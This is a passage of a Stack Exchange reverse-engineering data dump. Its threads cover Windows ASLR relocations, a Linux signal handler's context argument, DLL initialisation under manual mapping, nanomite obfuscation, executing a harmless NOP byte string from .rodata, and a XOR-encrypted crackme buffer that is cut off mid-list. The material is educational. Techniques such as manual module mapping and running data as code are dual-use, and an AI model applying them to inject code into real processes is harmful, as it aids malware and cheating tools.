  <row Id="20452" PostTypeId="1" CreationDate="2019-01-23T18:08:16.717" Score="1" ViewCount="885" Body="&lt;p&gt;I had recently this situation where in a program I was debugging I found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03CD38D4:  8B15 8C5FF703  MOV EDX, DWORD PTR DS:[3F75F8C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I look for these bytes in the physical file I found nothing. I assumed this is because the reference to &lt;code&gt;3F75F8C&lt;/code&gt;, which might change over each instance of the program, is being randomised by Windows. So I could not change the value directly in an hexed - say change &lt;code&gt;3F75F8C&lt;/code&gt; to &lt;code&gt;3F75F88&lt;/code&gt; (I suppose I can do it with some math involving the &lt;code&gt;base&lt;/code&gt;, though).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can someone explain &lt;strong&gt;in detail&lt;/strong&gt; how Windows proceeds when loading the PE file to randomise all these bytes? I have found &lt;a href=&quot;https://security.stackexchange.com/questions/18556/how-do-aslr-and-dep-work&quot;&gt;posts&lt;/a&gt; and info on how ASLR works, but I am more thinking on the steps that the OS makes to put the file in memory with the randomised addresses - i.e. how it goes from the actual bytes in the executable &quot;8B15 XXXX&quot; to &quot;8B15 8C5FF703&quot; as in my example.&lt;/li&gt;&#xA;&lt;li&gt;How the OS knows where the bytes that have to be randomised are (which exact addresses), and do it in a timely fashion?&lt;/li&gt;&#xA;&lt;li&gt;Will this OS process breaks if I &lt;code&gt;NOP&lt;/code&gt; the whole instruction? (I am asking because I do not know if there is some sort of predefined index table, I only know there is a flag in the PE to mark ASLR)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the answer, what I undestood is that Windows will look into the &lt;code&gt;.reloc&lt;/code&gt; section and will change one by one the references pointed in the section based on the random base. Then, if I modify the bytes of the instruction, since they have been defined in the &lt;code&gt;.reloc&lt;/code&gt; section, my new bytes will be modified (probably I am wrong, but this is what I understood)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am not able to find out how Windows &quot;obtains&quot; the instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03CD38D4:  8B15 8C5FF703  MOV EDX, DWORD PTR DS:[3F75F8C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is in file offset &lt;code&gt;482CD4&lt;/code&gt; stored as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDX, DWORD PTR DS:[B25F8C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image base is &lt;code&gt;400000&lt;/code&gt; and base of code &lt;code&gt;1000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find anything in the &lt;code&gt;.reloc&lt;/code&gt; section that points to &lt;code&gt;03CD38D4&lt;/code&gt;,&lt;code&gt;482CD4&lt;/code&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="18064" LastEditorUserId="18064" LastEditDate="2019-01-27T02:37:51.333" LastActivityDate="2019-01-27T02:37:51.333" Title="How does ASLR in Windows work?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20453" PostTypeId="1" AcceptedAnswerId="20456" CreationDate="2019-01-23T19:51:51.670" Score="1" ViewCount="140" Body="&lt;pre&gt;&lt;code&gt;   0x0000000008001946:  mov    0xa8(%rdx),%rax&#xA;   0x000000000800194d:  lea    0x28(%rdx),%rsi&#xA;   0x0000000008001951:  lea    0x2(%rax),%rdi&#xA;   0x0000000008001955:  add    $0xe,%rax&#xA;   0x0000000008001959:  mov    %rax,0xa8(%rdx)&#xA;   0x0000000008001960:  jmpq   0x8001ee0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above is the &lt;em&gt;full&lt;/em&gt; disassembly of a signal handler which is customarily set by the program which I'm looking into, i.e., the program registers the signal handler and immediately invokes it by raising a &lt;code&gt;SIGILL&lt;/code&gt; using the opcode &lt;code&gt;ud2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signal handler is registered here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x8001965:   push   %rbx&#xA;   0x8001966:   xor    %eax,%eax&#xA;   0x8001968:   mov    $0x26,%ecx&#xA;   0x800196d:   sub    $0xa0,%rsp&#xA;   0x8001974:   lea    0x8(%rsp),%rdi&#xA;   0x8001979:   rep stos %eax,%es:(%rdi)&#xA;   0x800197b:   lea    -0x3c(%rip),%rax        # 0x8001946&#xA;   0x8001982:   lea    0x10(%rsp),%rdi&#xA;   0x8001987:   movl   $0x8000004,0x90(%rsp)&#xA;   0x8001992:   mov    %rax,0x8(%rsp)&#xA;   0x8001997:   callq  0x8000f60 &amp;lt;sigfillset@plt&amp;gt;&#xA;   0x800199c:   xor    %edx,%edx&#xA;   0x800199e:   test   %eax,%eax&#xA;   0x80019a0:   jne    0x80019bb&#xA;   0x80019a2:   lea    0x8(%rsp),%rbx&#xA;   0x80019a7:   xor    %edx,%edx&#xA;   0x80019a9:   mov    $0x4,%edi&#xA;   0x80019ae:   mov    %rbx,%rsi&#xA;   0x80019b1:   callq  0x8000f90 &amp;lt;sigaction@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;0x8001946&lt;/code&gt; is the address of the handler, as disassembled prior to that in the first code-block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is regarding the first instruction of the signal handler which appears to make no sense at all, and I can't debug it since I can't put a breakpoint on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000008001946:  mov    0xa8(%rdx),%rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;%rdx&lt;/code&gt; is defined by the ABI as the third parameter passed to a function, and as defined by &lt;code&gt;sigaction&lt;/code&gt; the third argument of &lt;code&gt;sa_sigaction&lt;/code&gt; is a &lt;code&gt;void *&lt;/code&gt; (a casted &lt;code&gt;ucontext_t&lt;/code&gt; structure) but there is no &lt;code&gt;0xa8&lt;/code&gt;th index into the definition of a &lt;code&gt;struct ucontext_t&lt;/code&gt;, which leads me to believe it's something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might be an &lt;code&gt;%rdx&lt;/code&gt; set before the &lt;code&gt;ud2&lt;/code&gt; instruction is called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x0000000008000fde:  test   %al,%al&#xA;   0x0000000008000fe0:  mov    $0x2,%edx&#xA;   0x0000000008000fe5:  je     0x8001028&#xA;   0x0000000008000fe7:  movslq %ebx,%rdi&#xA;   0x0000000008000fea:  mov    %rbp,%rsi&#xA;   0x0000000008000fed:  callq  0x8001190&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But prior to the call to &lt;code&gt;0x80001190&lt;/code&gt; (the bug), &lt;code&gt;%rdx&lt;/code&gt; only contains &lt;code&gt;$0x2&lt;/code&gt;. So I'm even more confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone shed some light on what &lt;code&gt;%rdx&lt;/code&gt; could contain at &lt;code&gt;0x8001946&lt;/code&gt; after a &lt;code&gt;SIGILL&lt;/code&gt; is raised, and  the signal is passed off to the custom handler defined at that address?&lt;/p&gt;&#xA;" OwnerUserId="27209" LastActivityDate="2019-01-24T09:07:17.757" Title="Unknown parameters in custom signal handler on Linux" Tags="|linux|gcc|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20454" PostTypeId="2" ParentId="20452" CreationDate="2019-01-24T05:15:08.563" Score="3" Body="&lt;p&gt;ASLR does not peer inside executable&lt;br&gt;&#xA;it is a system wide exploit mitigation technique&lt;br&gt;&#xA;basically and simply put it assigns a random base address on every load of every executable   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is if you run say calc.exe five times you may see calc.exe load at five different addresses &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb -c &quot;lm m calc;q&quot; calc | grep &quot;calc.*deferred&#xA;00dd0000 00e90000   calc       (deferred)&#xA;&#xA;C:\&amp;gt;cdb -c &quot;lm m calc;q&quot; calc | grep &quot;calc.*deferred&#xA;00250000 00310000   calc       (deferred)&#xA;&#xA;C:\&amp;gt;cdb -c &quot;lm m calc;q&quot; calc | grep &quot;calc.*deferred&#xA;00370000 00430000   calc       (deferred)&#xA;&#xA;C:\&amp;gt;cdb -c &quot;lm m calc;q&quot; calc | grep &quot;calc.*deferred&#xA;00860000 00920000   calc       (deferred)&#xA;&#xA;C:\&amp;gt;cdb -c &quot;lm m calc;q&quot; calc | grep &quot;calc.*deferred&#xA;00110000 001d0000   calc       (deferred)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the information to fix-up lies within your executable under .reloc section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the loader when it loads an executable takes the base address assigned to the load and performs fix-ups based on the details provided in the .reloc section of an executable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can look at fix-ups using dumpbin and other innumerable pe editors &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /relocations c:\Windows\System32\calc.exe | wc -l&#xA;7346&#xA;&#xA;C:\&amp;gt;dumpbin /relocations c:\Windows\System32\calc.exe | head -n 20&#xA;Microsoft (R) COFF/PE Dumper Version 14.15.26726.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file c:\Windows\System32\calc.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;BASE RELOCATIONS #4&#xA;    1000 RVA,       B4 SizeOfBlock&#xA;     641  HIGHLOW            01054064  ___security_cookie&#xA;     652  HIGHLOW            01001194  __imp__GetModuleHandleW@4&#xA;     6A5  HIGHLOW            010013F4  __imp__LoadStringW@16&#xA;     6B3  HIGHLOW            010540AC  ?calcSQM@@3PAVCCalculatorSQM@@A (class CCalculatorSQM * calcSQM)&#xA;     6BD  HIGHLOW            01054A70  _Microsoft_Windows_CalculatorHandle&#xA;     6C2  HIGHLOW            010551F8  _Microsoft_Windows_Calculator_Context&#xA;     6C7  HIGHLOW            010321A3  _McGenControlCallbackV2@36&#xA;     6CC  HIGHLOW            01001D5C  _Microsoft_Windows_Calculator&#xA;     6D7  HIGHLOW            0105521C&#xA;     707  HIGHLOW            01001EDE  ?WndProc@@YGJPAUHWND__@@IIJ@Z (long __stdcall WndProc(struct HWND__ *,unsigned in&#xA;t,unsigned int,long))&#xA;&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RVA is relative virtual address related to base address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if base address = 0x10000000  then absolute will be 0x10001000&lt;br&gt;&#xA;so the address that needs fixup is  0x10001641 in the dump above &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can find what the preferred base of address is from the headers&lt;br&gt;&#xA;most of the static analysis tools will load the pe in this address only  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /headers c:\Windows\System32\calc.exe | grep -i &quot;image base&quot;&#xA;         1000000 image base (01000000 to 010BFFFF)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can dump the bytes at some specified position inside executable using any of the hexeditors (using the HIGHLOW of first entry in dump above 0x641)&#xA;you can see the bytes are  &lt;strong&gt;a1 0x10054064&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using a40 instead of 1640 because the &lt;strong&gt;Base of code&lt;/strong&gt; is 0x400 in physical file   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which will be mapped to 0x1000 &lt;strong&gt;(Virtual Address)&lt;/strong&gt; in the process address space   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;xxd -s 0xa40 -l 10 -g 5 c:\Windows\System32\calc.exe&#xA;0000a40: a164400501 33c58945fc                .d@..3..E.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see the disassembly with (using virtual address here as this is a mapped layout not physical file )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /disasm /range:0x1001640,0x1001645 c:\Windows\System32\calc.exe&#xA;&#xA;  01001640: A1 64 40 05 01     mov         eax,dword ptr [___security_cookie]&#xA;  01001645: 33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you now load this in a ASLR enabled machine and look at the disassembly at the same virtual address you will see the 0x1000000 (preferred load address)&#xA;has been fixed up&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb -c &quot;? calc;u calc+1640 l1;q&quot; calc | grep -i -A 3 Reading&#xA;0:000&amp;gt; cdb: Reading initial command '? calc;u calc+1640 l1;q'&#xA;Evaluate expression: 5177344 = 004f0000&#xA;calc!WinMain+0xb:&#xA;004f1640 a164405400      mov     eax,dword ptr [calc!__security_cookie (00544064)]&#xA;&#xA;C:\&amp;gt;python -c &quot;print ( \&quot;%x\&quot; % (0x4f0000 + 0x54064) )&quot;&#xA;544064&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="18064" LastEditDate="2019-01-24T07:52:20.170" LastActivityDate="2019-01-24T07:52:20.170" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20455" PostTypeId="1" AcceptedAnswerId="20459" CreationDate="2019-01-24T08:43:09.757" Score="2" ViewCount="292" Body="&lt;p&gt;All right, Actually I am manually mapping a module into a process, actually my mapper calls &lt;code&gt;DllEntryPoint&lt;/code&gt; from standard struct &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; thus &lt;code&gt;IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint&lt;/code&gt; etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem:&#xA;consider following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Log(const char*, ...);&#xA;&#xA;&#xA;class Test&#xA;{&#xA;    private:&#xA;        struct List_t&#xA;        {&#xA;            const uint32_t x;&#xA;            const uint32_t y; &#xA;        } List;&#xA;&#xA;    public:&#xA;        Test(List_t z) : List(z) { Log(&quot;Called event 0! \n&quot;); }&#xA;        ~Test() {}&#xA;};&#xA;&#xA;&#xA;&#xA;void Entry()&#xA;{&#xA;    Test Instance&#xA;    (&#xA;        {&#xA;            0x200,&#xA;            0x400&#xA;        }&#xA;    );&#xA;&#xA;    Log(&quot;Called! \n&quot;);  &#xA;}&#xA;&#xA;&#xA;BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)&#xA;{&#xA;&#xA;    if(fdwReason == 1)&#xA;        Entry();&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if the module entry point gets called through &lt;code&gt;IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint&lt;/code&gt; from mapper, the constructor &lt;code&gt;Test()&lt;/code&gt; never gets executed, while that &lt;code&gt;Entry()&lt;/code&gt; function gets executed successfully, now if the module it's loaded with standard &lt;code&gt;LoadLibraryA();&lt;/code&gt; so &lt;code&gt;Test()&lt;/code&gt; constructor gets called successfully...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where i would find some information about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard something about &lt;code&gt;CRT&lt;/code&gt; initializers, but i can't find anything deeply...&lt;/p&gt;&#xA;" OwnerUserId="17950" LastEditorUserId="245" LastEditDate="2019-01-24T10:56:17.580" LastActivityDate="2019-01-24T11:15:54.367" Title="There is something else than a &quot;DllMain&quot; in a module for its initialization?" Tags="|dynamic-linking|pe32|compiler-optimization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20456" PostTypeId="2" ParentId="20453" CreationDate="2019-01-24T09:07:17.757" Score="2" Body="&lt;p&gt;It seems to be &lt;code&gt;%rip&lt;/code&gt; (the address of the &lt;code&gt;ud2&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;ucontext.h&amp;gt;&#xA;&#xA;void handler(int signo, siginfo_t *info, void *context) {&#xA;    ucontext_t *uc = (ucontext_t*)context;&#xA;    printf(&quot;%llx\n&quot;, uc-&amp;gt;uc_mcontext.gregs[REG_RIP]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiles to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;handler(int, siginfo_t*, void*):&#xA;        movq    168(%rdx), %rsi&#xA;        movl    $.L.str, %edi&#xA;        xorl    %eax, %eax&#xA;        jmp     printf&#xA;.L.str:&#xA;        .asciz  &quot;%llx\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://gcc.godbolt.org/z/RC064L&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gcc.godbolt.org/z/RC064L&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-01-24T09:07:17.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20457" PostTypeId="1" CreationDate="2019-01-24T09:26:42.467" Score="3" ViewCount="993" Body="&lt;p&gt;Why disassemble multi-thread binary is hard? I also know that some obfuscation techniques are to create unnecessary threads. But why reverse engineering multi-thread program is hard.&lt;/p&gt;&#xA;" OwnerUserId="27179" LastActivityDate="2019-01-24T10:12:36.470" Title="Why disassemble multi-thread binary is hard?" Tags="|disassembly|disassemblers|multi-process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20458" PostTypeId="2" ParentId="20457" CreationDate="2019-01-24T10:12:36.470" Score="3" Body="&lt;p&gt;The technique you are referring to is called 'nanomites'. I would advise you the reading of this &lt;a href=&quot;https://doar-e.github.io/blog/2014/10/11/taiming-a-wild-nanomite-protected-mips-binary-with-symbolic-execution-no-such-crackme/&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; as a full example of reverse of a nanomite crack-me.&lt;/p&gt;&#xA;&lt;p&gt;Never the less, the problem of multi-thread or multi-process reverse-engineering is that in place of one sequence of events (with only one program), you have to follow in parallel multiple programs that interact (possibly in a non-deterministic way) with each others. It raise up exponentially the complexity of the reverse-engineering process.&lt;/p&gt;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://doar-e.github.io/blog/2014/10/11/taiming-a-wild-nanomite-protected-mips-binary-with-symbolic-execution-no-such-crackme/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Taming a wild nanomite-protected MIPS binary with symbolic execution: No Such Crackme &lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.w4kfu.com/post/Unpackme_I_am_Famous&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unpackme I am Famous&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-01-24T10:12:36.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20459" PostTypeId="2" ParentId="20455" CreationDate="2019-01-24T11:07:36.233" Score="3" Body="&lt;p&gt;In case of programs you'd also have to watch out for &lt;a href=&quot;https://wiremask.eu/articles/tls-callbacks-assembly-x86-64/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TLS callbacks&lt;/a&gt;. These run prior to the entry point, but I have only ever seen those on .exe files, never on DLLs. Still, Peter Ferrie stated that TLS callbacks exist for DLL files. I'd trust his expertise on this, even though I've never seen one of those myself, when reverse engineering a DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, &lt;code&gt;DllMain&lt;/code&gt; in your case has that &lt;code&gt;fdwReason&lt;/code&gt; parameter. That one is kind of important here and you should not have used a literal &lt;code&gt;1&lt;/code&gt; there but the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/dlls/dllmain&quot; rel=&quot;nofollow noreferrer&quot;&gt;proper symbolic name: &lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt;, &lt;code&gt;DLL_PROCESS_DETACH&lt;/code&gt;, &lt;code&gt;DLL_THREAD_ATTACH&lt;/code&gt;, &lt;code&gt;DLL_THREAD_DETACH&lt;/code&gt; are the currently defined values. A &lt;code&gt;switch&lt;/code&gt; statement would therefore be much more sensible here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the reason for which you're being called back in &lt;code&gt;DllMain&lt;/code&gt; you can act.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now while I don't know if that class is meant to be a singleton, it's clear that all that happens inside &lt;code&gt;Entry()&lt;/code&gt; is the creation &lt;em&gt;and&lt;/em&gt; destruction of an instance of that class on the stack. Once the scope of that function is left, the instance will be destroyed. You should be able to verify this by adding something like a &lt;code&gt;Log()&lt;/code&gt; invocation to the dtor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the CRT initializers, yes these exist. Kindly read &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2089/245&quot;&gt;this other answer by me&lt;/a&gt; before reading on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, assuming you read my answer, the difference between &lt;code&gt;DllMain&lt;/code&gt; as expected by the CRT when you build with the default CRT is that it already includes that CRT initialization code you likely mean. Whereas if you told the linker to use an alternative &lt;code&gt;/entry&lt;/code&gt; you would still use the same prototype for the DLL entry function, but you'd have to deal with initialization. Literally all the information you may need is in the above linked answer to that related question &lt;em&gt;and&lt;/em&gt; inside the files mentioned in said answer.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2019-01-24T11:15:54.367" LastActivityDate="2019-01-24T11:15:54.367" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20460" PostTypeId="1" CreationDate="2019-01-24T11:10:33.837" Score="1" ViewCount="750" Body="&lt;p&gt;How come the following code executes if buf* is @ rodata segment ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;char *buf[] = {&#xA;&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\&#xA;\xc3 IS THIS DATA?&quot;&#xA;};&#xA;char arr_chr[500] = &quot;I AM READ_WRITE&quot;;&#xA;&#xA;int main(){&#xA;    ((void (*)()) buf[0])();&#xA;&#xA;    printf(&quot;%s\n&quot;, buf[0]);&#xA;    printf(&quot;%s\n&quot;, arr_chr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with &lt;code&gt;gcc version 7.3.0&lt;/code&gt; without flags @ x86_64-linux-gnu &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file&lt;/code&gt;'s output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9BupH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BupH.png&quot; alt=&quot;ida sc&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2019-01-24T11:35:13.217" LastActivityDate="2019-01-24T21:53:50.937" Title="why code at .rodata executes" Tags="|assembly|c|" AnswerCount="1" CommentCount="3" ClosedDate="2019-01-25T19:34:00.573" ContentLicense="CC BY-SA 4.0" />
  <row Id="20461" PostTypeId="1" CreationDate="2019-01-24T17:57:34.993" Score="-1" ViewCount="3799" Body="&lt;p&gt;I'm trying to solve a crackme which basically uses a XOR encryption scheme in which the password is used as the key to an encrypted buffer which is subsequently executed. The following is the encrypted buffer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x4F, 0x12, 0x85, 0x7C, 0x96, 0x2E, 0x29, 0x54, 0x45, 0x41, 0x15, 0x10, &#xA;&#xA;0xF1, 0x12, 0x87, 0x1C,&#xA;0xF3, 0x27, 0x27, 0x46, 0x56, 0x2D, 0x54, 0x2D, 0x41, 0x5D, 0x23, 0x31, 0x49, 0x5C, 0x2F, 0x21,&#xA;0x46, 0xF6, 0x92, 0x2E, 0x6D, 0x54, 0xBA, 0x90, 0x25, 0x23, 0x36, 0x21, 0x5C, 0x47, 0x21, 0x46,&#xA;0x4F, 0x46, 0x16, 0x94, 0x98, 0x2D, 0x01, 0x4D, 0xDC, 0xE0, 0xE7, 0x5C, 0x76, 0xE7, 0xC6, 0x4E,&#xA;0x46, 0x46, 0x2D, 0x3B, 0x83, 0xC1, 0x4F, 0x23, 0x31, 0x21, 0x29, 0xE9, 0xA1, 0x45, 0x4F, 0x46,&#xA;0x46, 0x0D, 0x92, 0xC5, 0x45, 0x4D, 0x23, 0x31, 0x45, 0x9A, 0xAF, 0x24, 0x46, 0x4F, 0x46, 0x2F,&#xA;0xEB, 0xD4, 0x43, 0x41, 0x4D, 0x23, 0x55, 0xE7, 0xDC, 0x28, 0x21, 0x46, 0x4F, 0x66, 0x80, 0xAD,&#xA;0x5C, 0x45, 0x41, 0x4D, 0x4A, 0xF7, 0xA1, 0x55, 0x2F, 0x21, 0x46, 0x3B, 0x80, 0xC6, 0x27, 0x54,&#xA;0x45, 0x41, 0x6C, 0xE5, 0xB1, 0x2A, 0x5C, 0x2F, 0x21, 0x46, 0x89, 0xC6, 0x56, 0x2D, 0x54, 0x45,&#xA;0x09, 0x8B, 0xA3, 0x20, 0x21, 0x5C, 0x2F, 0x40, 0x80, 0xCF, 0x54, 0x46, 0x2D, 0x54, 0x31, 0x87,&#xA;0xCD, 0x30, 0x31, 0x21, 0x5C, 0x5C, 0xE7, 0xC6, 0x5B, 0x46, 0x46, 0x2D, 0x74, 0x83, 0xC1, 0x58,&#xA;0x23, 0x31, 0x21, 0x33, 0xE9, 0xA1, 0x50, 0x4F, 0x46, 0x46, 0x4B, 0x92, 0xC5, 0x56, 0x4D, 0x23,&#xA;0x31, 0x47, 0x9A, 0xAF, 0x39, 0x46, 0x4F, 0x46, 0x66, 0xEB, 0xD4, 0x5C, 0x41, 0x4D, 0x23, 0x45,&#xA;0xE7, 0xDC, 0x35, 0x21, 0x46, 0x4F, 0x29, 0x80, 0xAD, 0x4F, 0x45, 0x41, 0x4D, 0x03, 0xF7, 0xA1,&#xA;0x40, 0x2F, 0x21, 0x46, 0x36, 0x80, 0xC6, 0x30, 0x54, 0x45, 0x41, 0x22, 0xE5, 0xB1, 0x3F, 0x5C,&#xA;0x2F, 0x21, 0x33, 0x89, 0xC6, 0x59, 0x2D, 0x54, 0x45, 0x61, 0x8B, 0xA3, 0x11, 0x21, 0x5C, 0x2F,&#xA;0x4C, 0x80, 0xCF, 0x67, 0x46, 0x2D, 0x54, 0x24, 0x87, 0xCD, 0x01, 0x31, 0x21, 0x5C, 0x5B, 0xE7,&#xA;0xC6, 0x6C, 0x46, 0x46, 0x2D, 0x31, 0x83, 0xC1, 0x69, 0x23, 0x31, 0x21, 0x72, 0xE9, 0xA1, 0x63,&#xA;0x4F, 0x46, 0x46, 0x0D, 0x92, 0xC5, 0x67, 0x4D, 0x23, 0x31, 0x71, 0x9A, 0xAF, 0x06, 0x46, 0x4F,&#xA;0x46, 0x2A, 0xEB, 0xD4, 0x6D, 0x41, 0x4D, 0x23, 0x54, 0xE7, 0xDC, 0x06, 0x21, 0x46, 0x4F, 0x27,&#xA;0x80, 0xAD, 0x7E, 0x45, 0x41, 0x4D, 0x50, 0xF7, 0xA1, 0x77, 0x2F, 0x21, 0x46, 0x2A, 0x80, 0xC6,&#xA;0x01, 0x54, 0x45, 0x41, 0x6D, 0xE5, 